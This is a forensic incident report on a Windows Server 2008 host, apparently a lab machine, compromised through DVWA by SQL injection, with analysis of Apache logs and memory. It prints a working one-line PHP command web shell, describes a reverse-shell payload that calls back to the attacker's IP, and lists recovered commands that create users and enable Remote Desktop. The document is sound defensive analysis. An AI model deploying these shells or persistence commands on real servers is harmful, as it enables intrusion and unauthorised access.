Windows Server 2008 / DVWA Compromise

1. Executive Summary

The examined Windows Server 2008 system was compromised through the DVWA web application hosted on XAMPP. The attacker, operating from 192.168.56.102, tested several vulnerable DVWA modules and successfully exploited SQL Injection using sqlmap. This enabled PHP code to be written into the web root and led to deployment of multiple web shells.

Post-exploitation evidence shows command execution, web shell usage, c99 shell deployment, a reverse-shell payload targeting 192.168.56.102:4545, and attempts to create Windows users and enable Remote Desktop access. Memory analysis was decisive: it recovered command history and HTTP artefacts that were not available in Windows Security event logs.

3. Environment and Evidence Sources

4. Attack Chain

5. Incident Timeline

6. Web Server Findings

SQL Injection and sqlmap

Apache access logs showed requests to DVWA SQL Injection endpoints with the User-Agent sqlmap/1.0-dev-nongit-20150902. The logs also contained evidence of an INTO OUTFILE payload writing PHP into the web root.

Simple PHP Command Shell

Recovered phpshell.php contained:

<?php
system($_GET["cmd"]);
?>

This exposes operating system command execution through the HTTP cmd parameter.

c99 Web Shell

c99.php was recovered and accessed by the attacker. c99 is a well-known PHP web shell that provides file browsing, command execution, upload/download capability, and other post-exploitation features.

Reverse Shell Payload

phpshell2.php contained PHP socket code configured to connect back to 192.168.56.102 on TCP port 4545, receive code, and execute it with eval().

7. Memory Forensics Findings

Volatility analysis of the memory image identified two active Apache worker processes, httpd.exe PID 2796 and PID 2880. Process memory dumping of PID 2880 recovered raw attacker artefacts that were not visible in normal logs.

Recovered Console History

net user user1 user1 /add
net user user1 root@psut /add
net user user1 Root@psut /add
net localgroup "Remote Desktop Users" user1 /add
netsh firewall set service type=remotedesktop mode=enable scope=subnet

Recovered Apache Process Memory Strings

Owned by hacker
net user hacker hacker /add
net localgroup "Remote Desktop Users" hacker /add

Generic Web-Shell Toolkit Artefacts

Apache worker memory also contained Linux privilege-enumeration commands, such as searches for SUID/SGID files, writable directories, .htpasswd, and .bash_history. These were likely part of a generic web shell toolkit and not directly applicable to the Windows victim.

8. Filesystem Evidence

10. MITRE ATT&CK Mapping

11. Conclusion

The evidence supports a high-confidence conclusion that the server was compromised through DVWA. The attacker performed reconnaissance, exploited SQL Injection with sqlmap, uploaded multiple web shells, executed commands, and attempted persistence through Windows user creation and RDP enablement.

The most important lesson from this case is evidentiary correlation. Apache logs explained the web attack, filesystem artefacts confirmed dropped files, PHP logs confirmed shell testing, registry artefacts established system context, and memory forensics recovered attacker commands absent from event logs.